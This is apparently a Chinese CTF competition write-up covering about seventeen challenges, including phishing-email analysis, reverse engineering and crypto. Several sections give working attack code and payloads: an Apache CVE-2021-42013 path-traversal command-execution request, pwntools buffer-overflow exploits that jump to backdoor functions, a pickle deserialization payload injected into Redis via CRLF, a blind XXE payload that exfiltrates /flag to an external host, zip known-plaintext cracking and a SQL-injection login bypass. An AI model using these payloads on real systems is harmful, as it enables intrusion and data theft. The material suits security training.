获奖情况
解题过程
一、签到
查看每一帧,拼接后解rot13
即可。
二、钓鱼邮件识别
0. flag1
对发件人进行BASE64
解码,
flag{wElcOMetO}
。
1. flag2
对邮件内容BASE
64
解码,
flag{pHishHuntiNG}
。
2. flag3
SPF DKIM DMARC
记录解析,反垃圾邮件的,使用对应的命令解析即可找到三块flag
。
-
part1
nslookup -q=txt spf.foobar-edu-cn.com
spf.foobar-edu-cn.com text = "v=spf1 ip4:192.0.2.0/24 ip4:198.51.100.123 -all flag_part1={N0wY0u"
-
part2
v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8GgKsT+XBbAEBi0DlAX2ddQz5YOeiftZt5IvksHPnJqzv/Ckp5Iu8fWnPFXOGN7nPJtIvFDsWzW65FXXUVRjMntfcBNt97legXk/95dXAUMzG2i3 flag_part2=_Kn0wH0wt0_ qMcXGK+?+OwIDAQAB
-
part3
v=DMARC1; p=quarantine; rua=mailto:dmarc_agg@foobar-edu-cn.com; ruf=mailto:dmarc_frf@flag_part3=ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}
三、Apache
下载文件知版本
随后查询得到漏洞,Apache HTTPd 2.4.49/2.4.50
路径穿越与命令执行漏洞(CVE-2021-42013
),访问网页知道
-
它从
POST
请求的表单数据中读取目的地端口(dstport
)和要发送的数据(data
)。 -
创建一个
TCP
套接字,并连接到指定端口的127.0.0.1
。 -
然后将提供的数据发送过套接字。
-
服务器尝试从套接字读回响应数据,直到没有更多数据接收,然后将其返回给客户端。
构造payload
如下:
port=80&data=GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 14
echo;cat /flag
四、easyshell
冰蝎默认AES
加密方式,默认KEY
为rebeyond
,解密所有流量,发现读取了temp.zip
和secret2.txt
两个文件,在temp.zip
文件中发现有两个文件secret1.txt
和secret2.txt
,不难想到打明文攻击,secret2.txt
内容如下。
# 重置密码为123
./bkcrack -C secret.zip -c secret2.txt -p secret2.txt -U flag1.zip "123"
打开压缩包后在secret1.txt
中获取到flag
。
五、easyre
经典BASE64
换表题目,表为
ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/
。
六、babypwn
给了后门函数,直接打ret2backdoor
即可。
from pwn import *
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
p = remote('prob07.contest.pku.edu.cn', 10007)
libc = ELF('./libc.so.6')
p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')
p.recvuntil(b'Enter your username:')
p.send(b'root')
p.recvuntil(b'Enter the password:')
p.send(b'!@#$%^&*()_+' + b'\x00' * (0x38 - len('!@#$%^&*()_+')) + p64(0x401177))
p.interactive()
七、pyssrf
通过源码,知道突破口在于pickle
反序列化的命令执行,题目不出网,只能通过Redis
内写序列化后的数据。
题名ssrf
,而源码显示只有urlopen
,考虑寻找漏洞导致redis
的命令执行。
考虑到3.7.1
的版本,找到:CVE-2019-9947
,可以实现写入redis
,利用CRLF
的修改:
import os
import pickle
import base64
serialized_obj = b'''(S'echo -n "$(cat /flag)" | python3 -c "import sys, pickle, base64; from redis import Redis; redis = Redis(host=\\'127.0.0.1\\', port=6379); redis.set(\\'188f3426b78acac9087ab73733637eb2\\', base64.b64encode(pickle.dumps(sys.stdin.read().encode(\\'utf-8\\'))), ex=300);"'
ios
system
.)'''
encoded_data = base64.b64encode(serialized_obj).decode('utf-8')
import hashlib
key=hashlib.md5("http://123123".encode()).hexdigest()
value=encoded_data
print('set',key,value)
脚本如上,输出
set 188f3426b78acac9087ab73733637eb2 KFMnZWNobyAtbiAiJChjYXQgL2ZsYWcpIiB8IHB5dGhvbjMgLWMgImltcG9ydCBzeXMsIHBpY2tsZSwgYmFzZTY0OyBmcm9tIHJlZGlzIGltcG9ydCBSZWRpczsgcmVkaXMgPSBSZWRpcyhob3N0PVwnMTI3LjAuMC4xXCcsIHBvcnQ9NjM3OSk7IHJlZGlzLnNldChcJzE4OGYzNDI2Yjc4YWNhYzkwODdhYjczNzMzNjM3ZWIyXCcsIGJhc2U2NC5iNjRlbmNvZGUocGlja2xlLmR1bXBzKHN5cy5zdGRpbi5yZWFkKCkuZW5jb2RlKFwndXRmLThcJykpKSwgZXg9MzAwKTsiJwppb3MKc3lzdGVtCi4p
代码将利用opcode
将http://123123
的键值对修改为flag
,将输出结果进行处理:
url
编码后放在url
后面:
访问后,http://123123
此时对应着反序列化的键值对,一次访问后flag
写入http://123123
键值对,第二次访问得到flag
八、zip
感觉打的是非预期,最开始搜索相关内容都是7z
的两个密码对应同一个加密ZIP
包问题,https://blog.nsfocus.net/zip/。但是仔细观察题目给的代码其实是一个伪终端,因此可以利用删除字符来删掉前面的输入。
from pwn import *
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
p = remote('prob03.contest.pku.edu.cn', 10003)
token = '420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU='
p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')
p.recvuntil(b'your token:\n')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96V' + b'\x7f' * 64 + b'flag{')
p.recvuntil(b'your flag:\n')
p.sendline(b'flag{')
p.interactive()
九、Gateway
网上找到烽火解密脚本,输入即可
code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1] # "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
if i > 57:
i-=4
result.append(chr(i))
print (''.join(result))
#flag{ad1985868133e8cf1828cb84adbe5a5b}
十、f or r
参考题目链接
https://qanux.github.io/2024/04/22/geek2024/index.html,照着里面的打就行。
十一、fileit
盲打XXE
,参考文章
https://hextuff.dev/2022/06/26/ctfshow-web-getting-started-xxe/
POST / HTTP/2
Host: prob12-ns8rm5me.contest.pku.edu.cn
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/xml
Content-Length: 120
<?xml version="1.1"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://***.***.***.***:****/xxe.dtd">
%remote;
]>
# xxe.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % double "<!ENTITY % xxe SYSTEM 'http://***.***.***.***:****/put.php?result=%file;'>">
%double;
%xxe;
// put.php
<?php
$a = @$_GET['result'];
if ($a) {
file_put_contents('result.txt', $a);
}
十二、Secretbit
import ast
from random import randrange, shuffle
f=open('./data.txt','r')
s=ast.literal_eval(f.readline())
flag=''
def instance(m, n):
start = list(range(m))
shuffle(start)
vis=[0 for i in range(len(start))]
for i in range(m):
if vis[i]==1:
continue
now = start[i]
vis[now]=1
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start[now]
vis[now] = 1
if not this_turn:
return 0
return 1
def leak(m, n, times=2000):
message = [instance(m, n) for _ in range(times)]
cou=0
for x in message:
cou+=x
return cou
cnt=0;
for x in s:
cnt+=1
print(cnt)
a,b,c=x
cou=0
for z in c:
cou+=z
m1=leak(a[0],a[1])
m2=leak(b[0],b[1])
if abs(m1-cou)<abs(m2-cou):
flag+='0'
else:
flag+='1'
from Crypto.Util.number import *
print(flag)
cs='110011000101100011000010110011101111011011101000110100001101001011100110101111100111001011100110101111111010100011010010110010101011111011100110100010001100011011100100110010101110100010111110110011000110001011000010110001101101101'
flag=int(flag,2)
print(flag)
fl=long_to_bytes(flag)
print(long_to_bytes(flag))
#flag{this_1s_the_sEcret_f1ag}
优化了instance
实现方法,使它从O(m*n)
的时间复杂度降到了O(m)
的时间复杂度,使程序跑的快。同时instance
是随机打乱1~m
的数组后判断有无长度小于n
的循环节。由于进行2000
次instance
,可以视为是求随机打乱1~m
的数组后有长度小于n
的循环节的一个期望。求这个期望就是在跑一遍2000
次instance
,统计instance
为1
的次数,比较一下哪对(m,n)
跑出来的统计instance
为1
的次数和data
中统计instance
为1
的次数更接近。
十三、Login
登录时使用长字符串能够爆出登录密码:
尝试用户名和密码,用admin
/1q2w3e4r
成功登录,将程序dump
下来。
from pwn import *
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
p = remote('prob04.contest.pku.edu.cn', 10004)
p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')
# dump file
p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'1q2w3e4r')
p.recvuntil(b'Core dumped\n')
with open('./Login','+ab') as fd:
file = p.recvall()
fd.write(file)
存在后门函数,直接ret2backdoor
即可。
from pwn import *
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
p = remote('prob04.contest.pku.edu.cn', 10004)
p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')
# dump file
# p.recvuntil(b'Username:')
# p.sendline(b'admin')
# p.recvuntil(b'Password')
# p.sendline(b'1q2w3e4r')
# p.recvuntil(b'Core dumped\n')
# with open('./Login','+ab') as fd:
# file = p.recvall()
# fd.write(file)
ret_addr = 0x4014BF
backdoor_addr = 0x401276
p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'\x00' * (0x90 + 0x8) + p64(ret_addr) + p64(backdoor_addr))
p.interactive()
十四、Messy Mongo
-
DockerFile
找到默认用户名密码登录:
-
观察代码发现有
PATCH
方法,可以直接更新用户名,同时严格检测输入的用户名:
-
首先原始账户得到
JWT
:
-
利用这个接口修改用户名:
a. 接着开始改用户,利用PATCH
方法:
i. 首先改为大写的'ADMIN'
绕过assert
:
ii. 再次利用schema
不限制string
,进行tolower
-
获取
token
:
-
重新获取
token
之后GETtodo
:
b. 直接GET
到flag
:
十五、SecretDB
查看十六进制发现有类似flag{uuid}
字样被干碎了的字符串。
尝试用美亚的恢复大师恢复一下,可以得到如下结果,猜测可能是sort
字段排序为flag
,但是恢复不全,利用010Editor
手推。
这里采取的思路是每个十六进制数字的前一位和flag{}
字符的前一位作为index
索引位,可以得到如下对应关系,这里第15
位重复了三次,正好前两位缺失,且多出来的正好有fl
字符,因此可以得到flag{f6291bf0-923c-4ba6-_2d7-ffabba4e8f0b}
字符串,缺少第25
位,爆破提交,好像是为8
时对了。
02 -> a
03 -> g
04 -> {
05 -> f
06 -> 6
07 -> 2
08 -> 9
09 -> 1
10 -> b
11 -> f
12 -> 0
13 -> -
14 -> 9
15 -> f,2,l
16 -> 3
17 -> c
18 -> -
19 -> 4
20 -> b
22 -> 6
21 -> a
23 -> -
25 -> 2
26 -> d
27 -> 7
28 -> -
29 -> f
30 -> f
31 -> a
32 -> b
33 -> b
34 -> a
35 -> 4
36 -> e
37 -> 8
38 -> f
39 -> 0
40 -> b
41 -> }
# flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}
十六、phpsql
万能密码
账号 admin
密码 ""="b'='b
得到flag
为flag{KtfoYJlPMrQdW6fBGWgG}
十七、Babyre
先upx
脱壳,可以使用z3
求解v5
,v6
,v7
,v8
from z3 import *
v5 = BitVec('v5',32)
v6 = BitVec('v6',32)
v7 = BitVec('v7',32)
v8 = BitVec('v8',32)
s = Solver()
s.add(v5 - 2914111512 == 907301700)
s.add((v6 | 2382610115) - 3 * (v6 & 1912357180) + v6 == 2418835448)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))+ -3 * (~v7 | 0xA8453437)+ 3 * ~(v7 | 0xA8453437)- (-10 * (v7 & 0xA8453437)+ (v7 ^ 0xA8453437)) == 551387557)
s.add(11 * ~(v8 ^ 0xE33B67BD)+ 4 * ~(~v8 | 0xE33B67BD)- (6 * (v8 & 0xE33B67BD)+ 12 * ~(v8 | 0xE33B67BD))+ 3 * (v8 & 0xD2C7FC0C)+ -5 * v8- 2 * ~(v8 | 0xD2C7FC0C)+ ~(v8 | 0x2D3803F3)+ 4 * (v8 & 0x2D3803F3)- -2 * (v8 | 0x2D3803F3) == -837785892)
print(s.check())
print(s.model())
但是通过动调发现v7
,v8
不对,应该为多解
我们再次利用约束,设置100
循环,求出每一个解后然后增加限制条件来求出多解的情况最后用每一个解来check
得到正确的flag
from z3 import *
v5 = BitVec('v5',32)
v6 = BitVec('v6',32)
v7 = BitVec('v7',32)
v8 = BitVec('v8',32)
s = Solver()
s.add(v5 - 2914111512 == 907301700)
s.add((v6 | 2382610115) - 3 * (v6 & 1912357180) + v6 == 2418835448)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))+ -3 * (~v7 | 0xA8453437)+ 3 * ~(v7 | 0xA8453437)- (-10 * (v7 & 0xA8453437)+ (v7 ^ 0xA8453437)) == 551387557)
s.add(11 * ~(v8 ^ 0xE33B67BD)+ 4 * ~(~v8 | 0xE33B67BD)- (6 * (v8 & 0xE33B67BD)+ 12 * ~(v8 | 0xE33B67BD))+ 3 * (v8 & 0xD2C7FC0C)+ -5 * v8- 2 * ~(v8 | 0xD2C7FC0C)+ ~(v8 | 0x2D3803F3)+ 4 * (v8 & 0x2D3803F3)- -2 * (v8 | 0x2D3803F3) == -837785892)
s.add(v7 < 0x10000000)
s.add(v8 < 0x10000000)
for i in range(100):
if s.check() == sat:
m = s.model()
print(m)
s.add(Or(v8 != m[v8]))
else:
break